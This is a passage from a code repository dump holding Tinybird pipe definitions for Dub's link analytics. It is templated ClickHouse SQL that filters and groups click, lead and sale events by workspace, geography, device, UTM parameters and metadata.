{{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND splitByString('?', referer_url)[1] NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'url' %}\n                        {% if operator == 'IN' %} AND splitByString('?', url)[1] IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND splitByString('?', url)[1] NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'utm_source' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_medium' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_campaign' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_term' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_content' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'domain' %}\n                        {# domain is already filtered at workspace_links node level #}\n                    {% elif field == 'tagId' %}\n                        {# tagId is already filtered at workspace_links node level #}\n                    {% elif field == 'folderId' %}\n                        {# folderId is already filtered at workspace_links node level #}\n                    {% end %}\n                {% end %}\n            {% end %}\n        {% end %}\n    ORDER BY timestamp {% if order == 'asc' %} ASC {% else %} DESC {% end %}\n    LIMIT {{ Int32(limit, 100) }}\n    {% if defined(offset) %} OFFSET {{ Int32(offset, 0) }} {% end %}\n\n\n\nNODE lead_events\nSQL >\n\n    %\n    SELECT\n        *,\n        splitByString('?', referer_url)[1] as referer_url_processed,\n        CONCAT(country, '-', region) as region_processed,\n        'lead' as event\n    FROM dub_lead_events_mv\n    WHERE\n        true\n        {% if defined(workspaceId) %} AND workspace_id = {{ workspaceId }} {% end %}\n        {% if defined(linkId) %}\n            {% if defined(linkIdOperator) and String(linkIdOperator) == 'NOT IN' %}\n                AND link_id NOT IN {{ Array(linkId, 'String') }}\n            {% else %}\n                AND link_id IN {{ Array(linkId, 'String') }}\n            {% end %}\n        {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n            tenantId\n        ) or defined(folderId) or defined(domain) or defined(\n            tagId\n        ) or defined(\n            root\n        ) %} AND link_id in (SELECT link_id from workspace_links)\n        {% end %}\n        {% if defined(customerId) %} AND customer_id = {{ String(customerId) }} {% end %}\n        {% if defined(continent) %} AND continent = {{ continent }} {% end %}\n        {% if defined(country) %} AND country = {{ country }} {% end %}\n        {% if defined(region) %} AND region = {{ region }} {% end %}\n        {% if defined(city) %} AND city = {{ city }} {% end %}\n        {% if defined(device) %} AND device = {{ device }} {% end %}\n        {% if defined(browser) %} AND browser = {{ browser }} {% end %}\n        {% if defined(os) %} AND os = {{ os }} {% end %}\n        {% if defined(referer) %} AND referer = {{ referer }} {% end %}\n        {% if defined(refererUrl) %} AND splitByString('?', referer_url)[1] = {{ refererUrl }} {% end %}\n        {% if defined(utm_source) %}\n            AND url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n        {% end %}\n        {% if defined(utm_medium) %}\n            AND url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n        {% end %}\n        {% if defined(utm_campaign) %}\n            AND url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n        {% end %}\n        {% if defined(utm_term) %}\n            AND url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n        {% end %}\n        {% if defined(utm_content) %}\n            AND url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n        {% end %}\n        {% if defined(url) %} AND splitByString('?', url)[1] = {{ url }} {% end %}\n        {% if defined(start) %} AND timestamp >= {{ DateTime(start) }} {% end %}\n        {% if defined(end) %} AND timestamp <= {{ DateTime(end) }} {% end %}\n        {% if defined(filters) %}\n            {% for item in JSON(filters, '[]') %}\n                {% if item.get('operand', '').startswith('metadata.') %}\n                    {% set metadataKey = item.get('operand', '').split('.')[1] %}\n                    {% set operator = item.get('operator', 'equals') %}\n                    {% set value = item.get('value', '') %}\n                    {% if operator == 'equals' %}\n                        AND JSONExtractString(metadata, {{ metadataKey }}) = {{ value }}\n                    {% elif operator == 'notEquals' %}\n                        AND JSONExtractString(metadata, {{ metadataKey }}) != {{ value }}\n                    {% elif operator == 'greaterThan' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) > toFloat64OrNull({{ value }})\n                    {% elif operator == 'lessThan' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) < toFloat64OrNull({{ value }})\n                    {% elif operator == 'greaterThanOrEqual' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) >= toFloat64OrNull({{ value }})\n                    {% elif operator == 'lessThanOrEqual' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) <= toFloat64OrNull({{ value }})\n                    {% end %}\n                {% elif item.get('field', '') %}\n                    {% set field = item.get('field', '') %}\n                    {% set operator = item.get('operator', 'IN') %}\n                    {% set values = item.get('values', []) %}\n                    {% if field == 'country' %}\n                        {% if operator == 'IN' %} AND country IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND country NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'city' %}\n                        {% if operator == 'IN' %} AND city IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND city NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'continent' %}\n                        {% if operator == 'IN' %} AND continent IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND continent NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'device' %}\n                        {% if operator == 'IN' %} AND device IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND device NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'browser' %}\n                        {% if operator == 'IN' %} AND browser IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND browser NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'os' %}\n                        {% if operator == 'IN' %} AND os IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND os NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'trigger' %}\n                        {% if operator == 'IN' %} AND trigger IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND trigger NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'referer' %}\n                        {% if operator == 'IN' %} AND referer IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND referer NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'refererUrl' %}\n                        {% if operator == 'IN' %} AND splitByString('?', referer_url)[1] IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND splitByString('?', referer_url)[1] NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'url' %}\n                        {% if operator == 'IN' %} AND splitByString('?', url)[1] IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND splitByString('?', url)[1] NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'utm_source' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_medium' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_campaign' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_term' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_content' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'domain' %}\n                        {# domain is already filtered at workspace_links node level #}\n                    {% elif field == 'tagId' %}\n                        {# tagId is already filtered at workspace_links node level #}\n                    {% elif field == 'folderId' %}\n                        {# folderId is already filtered at workspace_links node level #}\n                    {% end %}\n                {% end %}\n            {% end %}\n        {% end %}\n    ORDER BY timestamp {% if order == 'asc' %} ASC {% else %} DESC {% end %}\n    LIMIT {{ Int32(limit, 100) }}\n    {% if defined(offset) %} OFFSET {{ Int32(offset, 0) }} {% end %}\n\n\n\nNODE first_sale_by_link_customer\nSQL >\n\n    %\n    SELECT workspace_id, link_id, customer_id, minMerge(first_sale_state) AS first_sale_ts\n    FROM dub_first_sale_mv\n    WHERE\n        workspace_id\n        = {{\n            String(\n                workspaceId,\n                'cl7pj5kq4006835rbjlt2ofka',\n                description=\"The unique ID for the workspace\",\n                required=True,\n            )\n        }}\n    GROUP BY workspace_id, link_id, customer_id\n\n\n\nNODE sale_events\nSQL >\n\n    %\n    SELECT\n        t.*,\n        t.amount AS saleAmount,\n        CONCAT(t.country, '-', t.region) AS region_processed,\n        splitByString('?', t.referer_url)[1] AS referer_url_processed,\n        'sale' AS event\n    FROM\n        (\n            SELECT\n                se.*,\n                if(\n                    isNull (fs.first_sale_ts),\n                    'new',\n                    if(\n                        toUnixTimestamp64Milli(se.timestamp) = toUnixTimestamp64Milli(fs.first_sale_ts),\n                        'new',\n                        'recurring'\n                    )\n                ) AS sale_type\n            FROM dub_sale_events_mv AS se\n            LEFT JOIN first_sale_by_link_customer AS fs USING (workspace_id, link_id, customer_id)\n            WHERE\n                true\n                {% if defined(workspaceId) %} AND se.workspace_id = {{ workspaceId }} {% end %}\n                {% if defined(linkId) %}\n                    {% if defined(linkIdOperator) and String(linkIdOperator) == 'NOT IN' %}\n                        AND se.link_id NOT IN {{ Array(linkId, 'String') }}\n                    {% else %}\n                        AND se.link_id IN {{ Array(linkId, 'String') }}\n                    {% end %}\n                {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n                    tenantId\n                ) or defined(folderId) or defined(domain) or defined(\n                    tagId\n                ) or defined(\n                    root\n                ) %} AND se.link_id in (SELECT link_id from workspace_links)\n                {% end %}\n                {% if defined(customerId) %} AND se.customer_id = {{ String(customerId) }} {% end %}\n                {% if defined(continent) %} AND se.continent = {{ continent }} {% end %}\n                {% if defined(country) %} AND se.country = {{ country }} {% end %}\n                {% if defined(region) %} AND se.region = {{ region }} {% end %}\n                {% if defined(city) %} AND se.city = {{ city }} {% end %}\n                {% if defined(device) %} AND se.device = {{ device }} {% end %}\n                {% if defined(browser) %} AND se.browser = {{ browser }} {% end %}\n                {% if defined(os) %} AND se.os = {{ os }} {% end %}\n                {% if defined(referer) %} AND se.referer = {{ referer }} {% end %}\n                {% if defined(refererUrl) %}\n                    AND splitByString('?', se.referer_url)[1] = {{ refererUrl }}\n                {% end %}\n                {% if defined(utm_source) %}\n                    AND se.url\n                    LIKE concat('%utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n                {% end %}\n                {% if defined(utm_medium) %}\n                    AND se.url\n                    LIKE concat('%utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n                {% end %}\n                {% if defined(utm_campaign) %}\n                    AND se.url LIKE concat(\n                        '%utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%'\n                    )\n                {% end %}\n                {% if defined(utm_term) %}\n                    AND se.url\n                    LIKE concat('%utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n                {% end %}\n                {% if defined(utm_content) %}\n                    AND se.url\n                    LIKE concat('%utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n                {% end %}\n                {% if defined(url) %} AND splitByString('?', se.url)[1] = {{ url }} {% end %}\n                {% if defined(start) %} AND se.timestamp >= {{ DateTime(start) }} {% end %}\n                {% if defined(end) %} AND se.timestamp <= {{ DateTime(end) }} {% end %}\n\n                {% if defined(filters) %}\n                    {% for item in JSON(filters, '[]') %}\n                        {% if item.get('operand', '').startswith('metadata.') %}\n                            {% set metadataKey = item.get('operand', '').split('.')[1] %}\n                            {% set operator = item.get('operator', 'equals') %}\n                            {% set value = item.get('value', '') %}\n                            {% if operator == 'equals' %}\n                                AND JSONExtractString(se.metadata, {{ metadataKey }}) = {{ value }}\n                            {% elif operator == 'notEquals' %}\n                                AND JSONExtractString(se.metadata, {{ metadataKey }}) != {{ value }}\n                            {% elif operator == 'greaterThan' %}\n                                AND toFloat64OrNull(JSONExtractString(se.metadata, {{ metadataKey }})) > toFloat64OrNull({{ value }})\n                            {% elif operator == 'lessThan' %}\n                                AND toFloat64OrNull(JSONExtractString(se.metadata, {{ metadataKey }})) < toFloat64OrNull({{ value }})\n                            {% elif operator == 'greaterThanOrEqual' %}\n                                AND toFloat64OrNull(JSONExtractString(se.metadata, {{ metadataKey }})) >= toFloat64OrNull({{ value }})\n                            {% elif operator == 'lessThanOrEqual' %}\n                                AND toFloat64OrNull(JSONExtractString(se.metadata, {{ metadataKey }})) <= toFloat64OrNull({{ value }})\n                            {% end %}\n                        {% elif item.get('field', '') %}\n                            {% set field = item.get('field', '') %}\n                            {% set operator = item.get('operator', 'IN') %}\n                            {% set values = item.get('values', []) %}\n                            {% if field == 'country' %}\n                                {% if operator == 'IN' %} AND se.country IN {{ Array(values, 'String') }}\n                                {% elif operator == 'NOT IN' %} AND se.country NOT IN {{ Array(values, 'String') }}\n                                {% end %}\n                            {% elif field == 'city' %}\n                                {% if operator == 'IN' %} AND se.city IN {{ Array(values, 'String') }}\n                                {% elif operator == 'NOT IN' %} AND se.city NOT IN {{ Array(values, 'String') }}\n                                {% end %}\n                            {% elif field == 'continent' %}\n                                {% if operator == 'IN' %} AND se.continent IN {{ Array(values, 'String') }}\n                                {% elif operator == 'NOT IN' %} AND se.continent NOT IN {{ Array(values, 'String') }}\n                                {% end %}\n                            {% elif field == 'device' %}\n                                {% if operator == 'IN' %} AND se.device IN {{ Array(values, 'String') }}\n                                {% elif operator == 'NOT IN' %} AND se.device NOT IN {{ Array(values, 'String') }}\n                                {% end %}\n                            {% elif field == 'browser' %}\n                                {% if operator == 'IN' %} AND se.browser IN {{ Array(values, 'String') }}\n                                {% elif operator == 'NOT IN' %} AND se.browser NOT IN {{ Array(values, 'String') }}\n                                {% end %}\n                            {% elif field == 'os' %}\n                                {% if operator == 'IN' %} AND se.os IN {{ Array(values, 'String') }}\n                                {% elif operator == 'NOT IN' %} AND se.os NOT IN {{ Array(values, 'String') }}\n                                {% end %}\n                            {% elif field == 'trigger' %}\n                                {% if operator == 'IN' %} AND se.trigger IN {{ Array(values, 'String') }}\n                                {% elif operator == 'NOT IN' %} AND se.trigger NOT IN {{ Array(values, 'String') }}\n                                {% end %}\n                            {% elif field == 'referer' %}\n                                {% if operator == 'IN' %} AND se.referer IN {{ Array(values, 'String') }}\n                                {% elif operator == 'NOT IN' %} AND se.referer NOT IN {{ Array(values, 'String') }}\n                                {% end %}\n                            {% elif field == 'refererUrl' %}\n                                {% if operator == 'IN' %} AND splitByString('?', se.referer_url)[1] IN {{ Array(values, 'String') }}\n                                {% elif operator == 'NOT IN' %} AND splitByString('?', se.referer_url)[1] NOT IN {{ Array(values, 'String') }}\n                                {% end %}\n                            {% elif field == 'url' %}\n                                {% if operator == 'IN' %} AND splitByString('?', se.url)[1] IN {{ Array(values, 'String') }}\n                                {% elif operator == 'NOT IN' %} AND splitByString('?', se.url)[1] NOT IN {{ Array(values, 'String') }}\n                                {% end %}\n                            {% elif field == 'utm_source' %}\n                                {% if operator == 'IN' %}\n                                    AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                                {% elif operator == 'NOT IN' %}\n                                    AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                                {% end %}\n                            {% elif field == 'utm_medium' %}\n                                {% if operator == 'IN' %}\n                                    AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                                {% elif operator == 'NOT IN' %}\n                                    AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                                {% end %}\n                            {% elif field == 'utm_campaign' %}\n                                {% if operator == 'IN' %}\n                                    AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                                {% elif operator == 'NOT IN' %}\n                                    AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                                {% end %}\n                            {% elif field == 'utm_term' %}\n                                {% if operator == 'IN' %}\n                                    AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                                {% elif operator == 'NOT IN' %}\n                                    AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                                {% end %}\n                            {% elif field == 'utm_content' %}\n                                {% if operator == 'IN' %}\n                                    AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                                {% elif operator == 'NOT IN' %}\n                                    AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                                {% end %}\n                            {% elif field == 'domain' %}\n                                {# domain is already filtered at workspace_links node level #}\n                            {% elif field == 'tagId' %}\n                                {# tagId is already filtered at workspace_links node level #}\n                            {% elif field == 'folderId' %}\n                                {# folderId is already filtered at workspace_links node level #}\n                            {% end %}\n                        {% end %}\n                    {% end %}\n                {% end %}\n\n        ) AS t\n    WHERE true\n        {% if defined(saleType) %} AND t.sale_type = {{ String(saleType) }} {% end %}\n    ORDER BY t.timestamp {% if order == 'asc' %} ASC {% else %} DESC {% end %}\n    LIMIT {{ Int32(limit, 100) }}\n    {% if defined(offset) %} OFFSET {{ Int32(offset, 0) }} {% end %}\n\n\n\nNODE endpoint\nSQL >\n\n    %\n    SELECT *\n    FROM\n        {% if eventType == 'leads' %} lead_events\n        {% elif eventType == 'sales' %} sale_events\n        {% else %} click_events\n        {% end %}\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/v4_group_by.pipe",
    "content": "DESCRIPTION >\n\tTop countries\n\n\nTAGS \"Dub Endpoints\"\n\nNODE workspace_links\nSQL >\n\n    %\n    SELECT link_id\n    FROM dub_links_metadata_latest FINAL\n    WHERE\n        workspace_id\n        = {{\n            String(\n                workspaceId,\n                'cl7pj5kq4006835rbjlt2ofka',\n                description=\"The unique ID for the workspace\",\n                required=True,\n            )\n        }}\n        AND deleted == 0\n        {% if defined(programId) %} AND program_id = {{ programId }} {% end %}\n        {% if defined(partnerId) %}\n            {% if defined(partnerIdOperator) and String(partnerIdOperator) == 'NOT IN' %}\n                AND partner_id NOT IN {{ Array(partnerId, 'String') }}\n            {% else %}\n                AND partner_id IN {{ Array(partnerId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(groupId) %}\n            {% if defined(groupIdOperator) and String(groupIdOperator) == 'NOT IN' %}\n                AND partner_group_id NOT IN {{ Array(groupId, 'String') }}\n            {% else %}\n                AND partner_group_id IN {{ Array(groupId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(tenantId) %}\n            {% if defined(tenantIdOperator) and String(tenantIdOperator) == 'NOT IN' %}\n                AND tenant_id NOT IN {{ Array(tenantId, 'String') }}\n            {% else %}\n                AND tenant_id IN {{ Array(tenantId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(domain) %}\n            {% if defined(domainOperator) and String(domainOperator) == 'NOT IN' %}\n                AND domain NOT IN {{ Array(domain, 'String') }}\n            {% else %}\n                AND domain IN {{ Array(domain, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(tagId) %}\n            {% if defined(tagIdOperator) and String(tagIdOperator) == 'NOT IN' %}\n                AND length(arrayFilter(x -> x NOT IN {{ Array(tagId, 'String') }}, tag_ids)) = length(tag_ids)\n            {% else %}\n                AND arrayIntersect(tag_ids, {{ Array(tagId, 'String') }}) != []\n            {% end %}\n        {% end %}\n        {% if defined(folderId) %}\n            {% if defined(folderIdOperator) and String(folderIdOperator) == 'NOT IN' %}\n                AND folder_id NOT IN {{ Array(folderId, 'String') }}\n            {% else %}\n                AND folder_id IN {{ Array(folderId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(root) %}\n            {% if Boolean(root) == 1 %} AND key = '_root' {% else %} AND key != '_root' {% end %}\n        {% end %}\n\n\n\nNODE group_by_clicks\nSQL >\n\n    %\n    SELECT\n        multiIf(\n            {{ String(groupBy) }} = 'top_links',\n            link_id,\n            {{ String(groupBy) }} = 'top_urls',\n            url,\n            {{ String(groupBy) }} = 'top_base_urls',\n            splitByString('?', url)[1],\n            {{ String(groupBy) }} = 'referers',\n            referer,\n            {{ String(groupBy) }} = 'referer_urls',\n            splitByString('?', referer_url)[1],\n            {{ String(groupBy) }} = 'utm_sources',\n            decodeURLFormComponent(extractURLParameter(url, 'utm_source')),\n            {{ String(groupBy) }} = 'utm_mediums',\n            decodeURLFormComponent(extractURLParameter(url, 'utm_medium')),\n            {{ String(groupBy) }} = 'utm_campaigns',\n            decodeURLFormComponent(extractURLParameter(url, 'utm_campaign')),\n            {{ String(groupBy) }} = 'utm_terms',\n            decodeURLFormComponent(extractURLParameter(url, 'utm_term')),\n            {{ String(groupBy) }} = 'utm_contents',\n            decodeURLFormComponent(extractURLParameter(url, 'utm_content')),\n            {{ String(groupBy) }} = 'ref',\n            decodeURLFormComponent(extractURLParameter(url, 'ref')),\n            {{ String(groupBy) }} = 'countries',\n            country,\n            {{ String(groupBy) }} = 'regions',\n            CONCAT(country, '-', region) as region,\n            {{ String(groupBy) }} = 'cities',\n            city,\n            {{ String(groupBy) }} = 'continents',\n            continent,\n            {{ String(groupBy) }} = 'devices',\n            device,\n            {{ String(groupBy) }} = 'browsers',\n            browser,\n            {{ String(groupBy) }} = 'os',\n            os,\n            {{ String(groupBy) }} = 'triggers',\n            trigger,\n            link_id\n        ) AS groupByField,\n        {% if String(groupBy) == 'cities' %} country, CONCAT(country, '-', region) as region,\n        {% elif String(groupBy) == 'regions' %} country,\n        {% end %}\n        COUNT(*) AS clicks\n    FROM\n        {% if defined(customerId) %} dub_click_events_id\n        {% else %} dub_click_events_mv\n        {% end %}\n        {% if defined(customerId) %}\n            PREWHERE click_id IN (\n                SELECT DISTINCT click_id\n                FROM dub_lead_events_mv\n                WHERE customer_id = {{ String(customerId) }}\n            )\n        {% end %}\n    WHERE\n        groupByField != '' AND groupByField != 'Unknown'\n        {% if defined(workspaceId) %} AND workspace_id = {{ workspaceId }} {% end %}\n        {% if defined(linkId) %}\n            {% if defined(linkIdOperator) and String(linkIdOperator) == 'NOT IN' %}\n                AND link_id NOT IN {{ Array(linkId, 'String') }}\n            {% else %}\n                AND link_id IN {{ Array(linkId, 'String') }}\n            {% end %}\n        {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n            tenantId\n        ) or defined(folderId) or defined(domain) or defined(\n            tagId\n        ) or defined(\n            root\n        ) %} AND link_id in (SELECT link_id from workspace_links)\n        {% end %}\n        {% if defined(continent) %} AND continent = {{ continent }} {% end %}\n        {% if defined(country) %} AND country = {{ country }} {% end %}\n        {% if defined(region) %} AND region = {{ region }} {% end %}\n        {% if defined(city) %} AND city = {{ city }} {% end %}\n        {% if defined(device) %} AND device = {{ device }} {% end %}\n        {% if defined(browser) %} AND browser = {{ browser }} {% end %}\n        {% if defined(os) %} AND os = {{ os }} {% end %}\n        {% if defined(trigger) %} AND trigger = {{ trigger }} {% end %}\n        {% if defined(referer) %} AND referer = {{ referer }} {% end %}\n        {% if defined(refererUrl) %} AND splitByString('?', referer_url)[1] = {{ refererUrl }} {% end %}\n        {% if defined(utm_source) %}\n            AND url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n        {% end %}\n        {% if defined(utm_medium) %}\n            AND url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n        {% end %}\n        {% if defined(utm_campaign) %}\n            AND url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n        {% end %}\n        {% if defined(utm_term) %}\n            AND url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n        {% end %}\n        {% if defined(utm_content) %}\n            AND url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n        {% end %}\n        {% if defined(url) %} AND splitByString('?', url)[1] = {{ url }} {% end %}\n        {% if defined(start) %} AND timestamp >= {{ DateTime64(start) }} {% end %}\n        {% if defined(end) %} AND timestamp <= {{ DateTime64(end) }} {% end %}\n        {% if defined(filters) %}\n            {% for item in JSON(filters, '[]') %}\n                {% if item.get('operand', '').startswith('metadata.') %}\n                    {% set metadataKey = item.get('operand', '').split('.')[1] %}\n                    {% set operator = item.get('operator', 'equals') %}\n                    {% set value = item.get('value', '') %}\n                    {% if operator == 'equals' %}\n                        AND JSONExtractString(metadata, {{ metadataKey }}) = {{ value }}\n                    {% elif operator == 'notEquals' %}\n                        AND JSONExtractString(metadata, {{ metadataKey }}) != {{ value }}\n                    {% elif operator == 'greaterThan' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) > toFloat64OrNull({{ value }})\n                    {% elif operator == 'lessThan' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) < toFloat64OrNull({{ value }})\n                    {% elif operator == 'greaterThanOrEqual' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) >= toFloat64OrNull({{ value }})\n                    {% elif operator == 'lessThanOrEqual' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) <= toFloat64OrNull({{ value }})\n                    {% end %}\n                {% elif item.get('field', '') %}\n                    {% set field = item.get('field', '') %}\n                    {% set operator = item.get('operator', 'IN') %}\n                    {% set values = item.get('values', []) %}\n                    {% if field == 'country' %}\n                        {% if operator == 'IN' %} AND country IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND country NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'city' %}\n                        {% if operator == 'IN' %} AND city IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND city NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'continent' %}\n                        {% if operator == 'IN' %} AND continent IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND continent NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'device' %}\n               